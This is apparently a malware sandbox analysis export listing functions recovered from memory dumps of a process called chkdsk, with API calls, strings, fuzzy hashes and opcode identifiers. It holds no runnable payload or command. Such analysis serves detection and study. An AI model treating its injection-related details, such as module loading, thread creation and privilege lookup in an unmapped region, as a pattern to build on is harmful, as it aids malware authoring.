Function 000CACD3 Relevance: 1.5, APIs: 1, Instructions: 39libraryloaderCOMMON

Download Yara Rule

APIs

LdrLoadDll.NTDLL(00000000,00000000,00000003,?), ref: 000CAD52

Memory Dump Source

Source File: 0000000A.00000002.849544062.00000000000C0000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c0000_chkdsk.jbxd

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: e90e30740199396d57f7cd7bed67e18ce7eee6ee49a4a5d75ff6d29f11778ce5
Instruction ID: 78d0969de327f7a62b7284b23ce9e6f7027b1412787a4235c0d4c2282a2adb6e
Opcode Fuzzy Hash: e90e30740199396d57f7cd7bed67e18ce7eee6ee49a4a5d75ff6d29f11778ce5
Instruction Fuzzy Hash: FBF0A475E0020DABDF10DBD0D882FDDB3B89B04308F008195ED1D9B641F630DA04CB92

Uniqueness

Uniqueness Score: -1.00%

Function 000D9170 Relevance: 1.5, APIs: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE(00000000,00000000,-00000002,?,00000000,00000000,?,?,000CF040,?,?,00000000), ref: 000D91AC

Memory Dump Source

Source File: 0000000A.00000002.849544062.00000000000C0000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c0000_chkdsk.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: cd9894b84da853ed4e4ffa8c984e8b48326dd570691f743a48a256f5fb526518
Instruction ID: 88e22c89fa935fccf694ed0fe68e85282f5b55bf415e9c03c5387f482bb39dc0
Opcode Fuzzy Hash: cd9894b84da853ed4e4ffa8c984e8b48326dd570691f743a48a256f5fb526518
Instruction Fuzzy Hash: 5FE06D373803043AE2206599AC02FE7B39C9B91B20F140026FA0DEB2C2D595F80142A8

Uniqueness

Uniqueness Score: -1.00%

Function 000DA781 Relevance: 1.5, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,?,000CF1C2,000CF1C2,?,00000000,?,?), ref: 000DA7C0

Memory Dump Source

Source File: 0000000A.00000002.849544062.00000000000C0000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c0000_chkdsk.jbxd

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 32e4e15a0b1546b6ed6cfc41be5bc789452a4d7225925380914faeb8848f2d95
Instruction ID: f806b41a8bc44a73204b210df7feb425319f51699341f8c4e11beaac781b4e93
Opcode Fuzzy Hash: 32e4e15a0b1546b6ed6cfc41be5bc789452a4d7225925380914faeb8848f2d95
Instruction Fuzzy Hash: 5AF0A9B13002446BEB14EF54CC89FEB3BA8EF8A310F108094FD4C9B242C530A9048BB0

Uniqueness

Uniqueness Score: -1.00%

Function 000DA790 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,?,000CF1C2,000CF1C2,?,00000000,?,?), ref: 000DA7C0

Memory Dump Source

Source File: 0000000A.00000002.849544062.00000000000C0000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c0000_chkdsk.jbxd

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: c524c4dcdeb286be68a002add1a356f71d86b8c938967e6280f3f61150ebef6a
Instruction ID: 332dd4e50441459a5c10ce514c5a395e5d791108a8eaaf12587d23c39c3c0ad7
Opcode Fuzzy Hash: c524c4dcdeb286be68a002add1a356f71d86b8c938967e6280f3f61150ebef6a
Instruction Fuzzy Hash: EAE01AB12002086BDB10DF89DC85FE737ADEF89650F018165BA0857242C930E8108BF5

Uniqueness

Uniqueness Score: -1.00%

Function 000CF6B7 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00008003,?,000C8D14,?), ref: 000CF6EB

Memory Dump Source

Source File: 0000000A.00000002.849544062.00000000000C0000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c0000_chkdsk.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: f3ec0066757ec37bb7ec88ea7e7a61a6bb591fb13afd8a3df758eb188ee319d9
Instruction ID: f8289f20b06f20729938d8a06a35e3a57224adbff28449134dcb697811786aa3
Opcode Fuzzy Hash: f3ec0066757ec37bb7ec88ea7e7a61a6bb591fb13afd8a3df758eb188ee319d9
Instruction Fuzzy Hash: 73E0C2396502002BE700EBB8DC02FE927C6AF60740F080124F54CD72D3D924D4018521

Uniqueness

Uniqueness Score: -1.00%

Function 000CF6C0 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00008003,?,000C8D14,?), ref: 000CF6EB

Memory Dump Source

Source File: 0000000A.00000002.849544062.00000000000C0000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c0000_chkdsk.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: a2d4a72b799ecba535e6209a82b178d001bd83fc2549ccaf7422d872a4b8c7e9
Instruction ID: 26417fe2b8fe0716a21403320dd44a94a0a1db6131fd23e3614bbafcaa1a65ad
Opcode Fuzzy Hash: a2d4a72b799ecba535e6209a82b178d001bd83fc2549ccaf7422d872a4b8c7e9
Instruction Fuzzy Hash: C2D052666903083BEA10BAA8DC03F6A33C9AB44B00F490078FA48AB3C3E964E4008166

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 02038788 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 431COMMON

Download Yara Rule

APIs

_wcspbrk.LIBCMT ref: 02038891
_wcspbrk.LIBCMT ref: 02038979
_wcspbrk.LIBCMT ref: 02038A61
_wcspbrk.LIBCMT ref: 02038A9B
_wcspbrk.LIBCMT ref: 02081B9C

Strings

Kernel-MUI-Language-Disallowed, xrefs: 02038914
Kernel-MUI-Language-Allowed, xrefs: 02038827
Kernel-MUI-Language-SKU, xrefs: 020389FC
Kernel-MUI-Number-Allowed, xrefs: 020387E6
WindowsExcludedProcs, xrefs: 020387C1

Memory Dump Source

Source File: 0000000A.00000002.849798315.0000000002000000.00000040.00001000.00020000.00000000.sdmp, Offset: 01FF0000, based on PE: true

Associated: 0000000A.00000002.849798315.0000000001FF0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020E0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020F0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020F4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020F7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.0000000002100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.0000000002160000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1ff0000_chkdsk.jbxd

Similarity

API ID: _wcspbrk
String ID: Kernel-MUI-Language-Allowed$Kernel-MUI-Language-Disallowed$Kernel-MUI-Language-SKU$Kernel-MUI-Number-Allowed$WindowsExcludedProcs
API String ID: 402402107-258546922
Opcode ID: 220af9dffb8b71e02ea1044d4038cb14ad62283b91d6ac558327d92ba2d25c9d
Instruction ID: d3fa861c5e0989116f3b5c90b61432265d8531d3a5d1d95dbe3b97c12f747737
Opcode Fuzzy Hash: 220af9dffb8b71e02ea1044d4038cb14ad62283b91d6ac558327d92ba2d25c9d
Instruction Fuzzy Hash: C6F1D8B2D00309EFDB52EF95C9849EEB7B9FF08304F1484AAE505A7610E7359A45EF50

Uniqueness

Uniqueness Score: -1.00%

Function 020A822C Relevance: 19.4, APIs: 2, Strings: 9, Instructions: 160COMMON

Download Yara Rule

APIs

_wcsnlen.LIBCMT ref: 020A8240
_wcsnlen.LIBCMT ref: 020A825C

Strings

DaylightBias, xrefs: 020A8324
DynamicDaylightTimeDisabled, xrefs: 020A83C1
StandardName, xrefs: 020A82A8
StandardStart, xrefs: 020A82E5
TimeZoneKeyName, xrefs: 020A836A, 020A839B
Bias, xrefs: 020A8282
StandardBias, xrefs: 020A82C7
DaylightStart, xrefs: 020A8341
DaylightName, xrefs: 020A8309

Memory Dump Source

Source File: 0000000A.00000002.849798315.0000000002000000.00000040.00001000.00020000.00000000.sdmp, Offset: 01FF0000, based on PE: true

Associated: 0000000A.00000002.849798315.0000000001FF0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020E0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020F0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020F4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020F7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.0000000002100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.0000000002160000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1ff0000_chkdsk.jbxd

Similarity

API ID: _wcsnlen
String ID: Bias$DaylightBias$DaylightName$DaylightStart$DynamicDaylightTimeDisabled$StandardBias$StandardName$StandardStart$TimeZoneKeyName
API String ID: 3628947076-1387797911
Opcode ID: c752ee82e69e79b3cf91da07497f3acfcb6081d5f8477a3e1bc9bd188f2a3dba
Instruction ID: 39e2360f2ad58e5be6c72fed957c94e5ab5741903f5c0e430ec721952e9aac73
Opcode Fuzzy Hash: c752ee82e69e79b3cf91da07497f3acfcb6081d5f8477a3e1bc9bd188f2a3dba
Instruction Fuzzy Hash: ED41A476240309BEF7019AE0CC91FEEBBADEF05748F508512BA05DA190D7B0DB50ABA4

Uniqueness

Uniqueness Score: -1.00%

Function 020513CB Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 195COMMON

Download Yara Rule

APIs

___swprintf_l.LIBCMT ref: 0205146B
___swprintf_l.LIBCMT ref: 02051490
___swprintf_l.LIBCMT ref: 0207E970

Strings

ffff:, xrefs: 0207E94B
::%hs%u.%u.%u.%u, xrefs: 0207E967
::ffff:0:%u.%u.%u.%u, xrefs: 0207E9B0
:%u.%u.%u.%u, xrefs: 0207E9F4

Memory Dump Source

Source File: 0000000A.00000002.849798315.0000000002000000.00000040.00001000.00020000.00000000.sdmp, Offset: 01FF0000, based on PE: true

Associated: 0000000A.00000002.849798315.0000000001FF0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020E0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020F0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020F4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020F7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.0000000002100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.0000000002160000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1ff0000_chkdsk.jbxd

Similarity

API ID: ___swprintf_l
String ID: :%u.%u.%u.%u$::%hs%u.%u.%u.%u$::ffff:0:%u.%u.%u.%u$ffff:
API String ID: 48624451-2108815105
Opcode ID: c06d7c27a27a8f641a57613f46af04256d82f6cf885b58f8ba79e3ad825a4c81
Instruction ID: 97722e717ae53d560ea444c639343a0f6ac596132ee6a1584e1933865dbe5e22
Opcode Fuzzy Hash: c06d7c27a27a8f641a57613f46af04256d82f6cf885b58f8ba79e3ad825a4c81
Instruction Fuzzy Hash: 0F6111B1D00765AACF25CF59C890ABFBBF6EF84300B54C06DE89A47540D734A640EF60

Uniqueness

Uniqueness Score: -1.00%

Function 020B3B8E Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 187COMMON

Download Yara Rule

APIs

___swprintf_l.LIBCMT ref: 020B3C2C
___swprintf_l.LIBCMT ref: 020B3C68
___swprintf_l.LIBCMT ref: 020B3D09
___swprintf_l.LIBCMT ref: 020B3D31
___swprintf_l.LIBCMT ref: 020B3D56
___swprintf_l.LIBCMT ref: 020B3D8D

Strings

ffff:, xrefs: 020B3C06, 020B3C22
::ffff:0:%u.%u.%u.%u, xrefs: 020B3C5F
:%u.%u.%u.%u, xrefs: 020B3D84
::%hs%u.%u.%u.%u, xrefs: 020B3C23

Memory Dump Source

Source File: 0000000A.00000002.849798315.0000000002000000.00000040.00001000.00020000.00000000.sdmp, Offset: 01FF0000, based on PE: true

Associated: 0000000A.00000002.849798315.0000000001FF0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020E0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020F0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020F4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020F7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.0000000002100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.0000000002160000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1ff0000_chkdsk.jbxd

Similarity

API ID: ___swprintf_l
String ID: :%u.%u.%u.%u$::%hs%u.%u.%u.%u$::ffff:0:%u.%u.%u.%u$ffff:
API String ID: 48624451-2108815105
Opcode ID: 2236606f810f037509420e961ca9c33eb2cedb7523ab1834fc373f41618d45f8
Instruction ID: 6a2c382cf85125cda1ed487876d4f29ea119444b70a29ea5baba0f512a7e6fbf
Opcode Fuzzy Hash: 2236606f810f037509420e961ca9c33eb2cedb7523ab1834fc373f41618d45f8
Instruction Fuzzy Hash: 0161A4B1900748EADB76DF99C8405FEBBF5EF54211B24C5A9F8A997100E334EA81EB50

Uniqueness

Uniqueness Score: -1.00%

Function 02047EFD Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 127COMMON

Download Yara Rule

APIs

BaseQueryModuleData.KERNEL32(?,00000000,00000000,ExecuteOptions,?,?,?), ref: 02063F12

Strings

ExecuteOptions, xrefs: 02063F04
CLIENT(ntdll): Processing %ws for patching section protection for %wZ, xrefs: 0206E2FB
CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ, xrefs: 02063F75
CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions, xrefs: 02063EC4
Execute=1, xrefs: 02063F5E
CLIENT(ntdll): Processing section info %ws..., xrefs: 0206E345
CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database, xrefs: 02063F4A

Memory Dump Source

Source File: 0000000A.00000002.849798315.0000000002000000.00000040.00001000.00020000.00000000.sdmp, Offset: 01FF0000, based on PE: true

Associated: 0000000A.00000002.849798315.0000000001FF0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020E0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020F0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020F4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020F7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.0000000002100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.0000000002160000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1ff0000_chkdsk.jbxd

Similarity

API ID: BaseDataModuleQuery
String ID: CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions$CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ$CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database$CLIENT(ntdll): Processing %ws for patching section protection for %wZ$CLIENT(ntdll): Processing section info %ws...$Execute=1$ExecuteOptions
API String ID: 3901378454-484625025
Opcode ID: 851debc423b6fc4c1e14590dbde3c9847f005ebe1cba7aaef5bde6aed9561a75
Instruction ID: fbec9f60c3235ad1c63b8beb6ac3a45ecc0f40cfa0e4cbd0b4e94f342935b9d5
Opcode Fuzzy Hash: 851debc423b6fc4c1e14590dbde3c9847f005ebe1cba7aaef5bde6aed9561a75
Instruction Fuzzy Hash: 5141DA7168071C7EEB21DB94DCC9FEBB3FDAF14704F0045A9A905E6090EB709A45AFA1

Uniqueness

Uniqueness Score: -1.00%

Function 02050B15 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 272COMMON

Download Yara Rule

APIs

__fassign.LIBCMT ref: 02050BF6
__fassign.LIBCMT ref: 02050CA2

Strings

:, xrefs: 02050AC7
:, xrefs: 02050BA9
., xrefs: 02050A0C

Memory Dump Source

Source File: 0000000A.00000002.849798315.0000000002000000.00000040.00001000.00020000.00000000.sdmp, Offset: 01FF0000, based on PE: true

Associated: 0000000A.00000002.849798315.0000000001FF0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020E0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020F0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020F4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020F7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.0000000002100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.0000000002160000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1ff0000_chkdsk.jbxd

Similarity

API ID: __fassign
String ID: .$:$:
API String ID: 3965848254-2308638275
Opcode ID: b15de34944a390e3fa5e98378680e2de18144008d38fd4e6897fe19ea25b26ab
Instruction ID: f01f02f70b863c509f7ab78ba7f7ba549171597fba48b5002b4255e202c7c373
Opcode Fuzzy Hash: b15de34944a390e3fa5e98378680e2de18144008d38fd4e6897fe19ea25b26ab
Instruction Fuzzy Hash: 93A17C71D0032AEADF65CF68C8447AFBBF6AF0A308F24846ADC42A7241D7319645EB55

Uniqueness

Uniqueness Score: -1.00%

Function 02050554 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 202COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 02072206

Strings

RTL: Acquire Exclusive Sem Timeout %d (%I64u secs), xrefs: 020722FC
RTL: Acquire Shared Sem Timeout %d(%I64u secs), xrefs: 0207220E
RTL: Re-Waiting, xrefs: 0207223A, 02072328
RTL: Resource at %p, xrefs: 0207221D, 0207230B

Memory Dump Source

Source File: 0000000A.00000002.849798315.0000000002000000.00000040.00001000.00020000.00000000.sdmp, Offset: 01FF0000, based on PE: true

Associated: 0000000A.00000002.849798315.0000000001FF0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020E0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020F0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020F4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020F7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.0000000002100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.0000000002160000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1ff0000_chkdsk.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)$RTL: Acquire Shared Sem Timeout %d(%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
API String ID: 885266447-4236105082
Opcode ID: 7f0a36b984cbd0cd0215f6dd876d8aa098fa6c65ef34c017d0e2f88e466beaa9
Instruction ID: 097e49719ffc325ea1b42b744fe94e52887e501acb84db9ca3b4e43b5509363a
Opcode Fuzzy Hash: 7f0a36b984cbd0cd0215f6dd876d8aa098fa6c65ef34c017d0e2f88e466beaa9
Instruction Fuzzy Hash: 00510871B403116FEB55CB18CCC1FA633EAAB98710F218259ED55DF285DA31EC42AB94

Uniqueness

Uniqueness Score: -1.00%

Function 020514C0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 91COMMON

Download Yara Rule

APIs

___swprintf_l.LIBCMT ref: 0207EA22

Part of subcall function 020513CB: ___swprintf_l.LIBCMT ref: 0205146B
Part of subcall function 020513CB: ___swprintf_l.LIBCMT ref: 02051490

___swprintf_l.LIBCMT ref: 0205156D

Strings

]:%u, xrefs: 0207EA47
%%%u, xrefs: 02051564

Memory Dump Source

Source File: 0000000A.00000002.849798315.0000000002000000.00000040.00001000.00020000.00000000.sdmp, Offset: 01FF0000, based on PE: true

Associated: 0000000A.00000002.849798315.0000000001FF0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020E0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020F0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020F4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020F7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.0000000002100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.0000000002160000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1ff0000_chkdsk.jbxd

Similarity

API ID: ___swprintf_l
String ID: %%%u$]:%u
API String ID: 48624451-3050659472
Opcode ID: a0a66718372ea677bcb144ba8fceddfcf6a92cde87e4f87524f1f80ac562a2df
Instruction ID: ade23c89b11aa6fd560e456ad6a042d140bb578c66bc9abd25c5de5981d2d709
Opcode Fuzzy Hash: a0a66718372ea677bcb144ba8fceddfcf6a92cde87e4f87524f1f80ac562a2df
Instruction Fuzzy Hash: EF219172900329EBDB61DE58CC40BEFB3BDEB10704F444565EC4AE3140EB70AA589BE1

Uniqueness

Uniqueness Score: -1.00%

Function 020B3DA7 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 82COMMON

Download Yara Rule

APIs

___swprintf_l.LIBCMT ref: 020B3DF3
___swprintf_l.LIBCMT ref: 020B3E1D
___swprintf_l.LIBCMT ref: 020B3E46

Strings

%%%u, xrefs: 020B3E14
]:%u, xrefs: 020B3E3D

Memory Dump Source

Source File: 0000000A.00000002.849798315.0000000002000000.00000040.00001000.00020000.00000000.sdmp, Offset: 01FF0000, based on PE: true

Associated: 0000000A.00000002.849798315.0000000001FF0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020E0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020F0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020F4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020F7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.0000000002100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.0000000002160000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1ff0000_chkdsk.jbxd

Similarity

API ID: ___swprintf_l
String ID: %%%u$]:%u
API String ID: 48624451-3050659472
Opcode ID: f61ff385bf56c88bb7b9a2e28b378a71166eb5acf0c5f6a791bc8bc4c591eede
Instruction ID: e5d060cfd709f4137fa8d4ec41928adb7e9c51a915e412d8842057b4a89adc18
Opcode Fuzzy Hash: f61ff385bf56c88bb7b9a2e28b378a71166eb5acf0c5f6a791bc8bc4c591eede
Instruction Fuzzy Hash: 0C2142B690032AABCB22AF68CC459EF73EDEF14308F140166FC15A3140EB709A04DBE0

Uniqueness

Uniqueness Score: -1.00%

Function 020353A5 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 185COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 020722F4

Strings

RTL: Acquire Exclusive Sem Timeout %d (%I64u secs), xrefs: 020722FC
RTL: Re-Waiting, xrefs: 02072328
RTL: Resource at %p, xrefs: 0207230B

Memory Dump Source

Source File: 0000000A.00000002.849798315.0000000002000000.00000040.00001000.00020000.00000000.sdmp, Offset: 01FF0000, based on PE: true

Associated: 0000000A.00000002.849798315.0000000001FF0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020E0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020F0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020F4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020F7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.0000000002100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.0000000002160000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1ff0000_chkdsk.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
API String ID: 885266447-871070163
Opcode ID: d4a666aec102997ec680b3db3c0381f2f8c32a45c3d3ddf8418ab837ceed538c
Instruction ID: cba7b01d8d031cba51416ddc9eb92490642a7cc45a2c6d0cd297ff3301ec1b57
Opcode Fuzzy Hash: d4a666aec102997ec680b3db3c0381f2f8c32a45c3d3ddf8418ab837ceed538c
Instruction Fuzzy Hash: A051F7B16007166FEB169B24CCC0FE777DDAF58724F104219ED45DB290EB61E841AB94

Uniqueness

Uniqueness Score: -1.00%

Function 0203EC56 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 145COMMON

Download Yara Rule

Strings

RTL: Enter Critical Section Timeout (%I64u secs) %d, xrefs: 0207248D
RTL: Pid.Tid %x.%x, owner tid %x Critical Section %p - ContentionCount == %lu, xrefs: 020724BD
RTL: Re-Waiting, xrefs: 020724FA

Memory Dump Source

Source File: 0000000A.00000002.849798315.0000000002000000.00000040.00001000.00020000.00000000.sdmp, Offset: 01FF0000, based on PE: true

Associated: 0000000A.00000002.849798315.0000000001FF0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020E0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020F0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020F4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020F7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.0000000002100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.0000000002160000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1ff0000_chkdsk.jbxd

Similarity

API ID:
String ID: RTL: Enter Critical Section Timeout (%I64u secs) %d$RTL: Pid.Tid %x.%x, owner tid %x Critical Section %p - ContentionCount == %lu$RTL: Re-Waiting
API String ID: 0-3177188983
Opcode ID: efc392ec06278b2184e28dc27c2587f02ff6d5dca5447b53872518f0fc1cd435
Instruction ID: 3debd61edaee847c665a67c3349a461c5cea1ed26ac4330ab07bab560d7a46f3
Opcode Fuzzy Hash: efc392ec06278b2184e28dc27c2587f02ff6d5dca5447b53872518f0fc1cd435
Instruction Fuzzy Hash: 9C41B2B0A00304AFDB61DB68CC88FAE77F9AF44720F108655FA559B2D0D734E941EBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0204FCC9 Relevance: 6.3, APIs: 4, Instructions: 257COMMON

Download Yara Rule

APIs

__fassign.LIBCMT ref: 0204FD94

Memory Dump Source

Source File: 0000000A.00000002.849798315.0000000002000000.00000040.00001000.00020000.00000000.sdmp, Offset: 01FF0000, based on PE: true

Associated: 0000000A.00000002.849798315.0000000001FF0000.00000040.00001000.00020000.00000000.sdmpDownload File
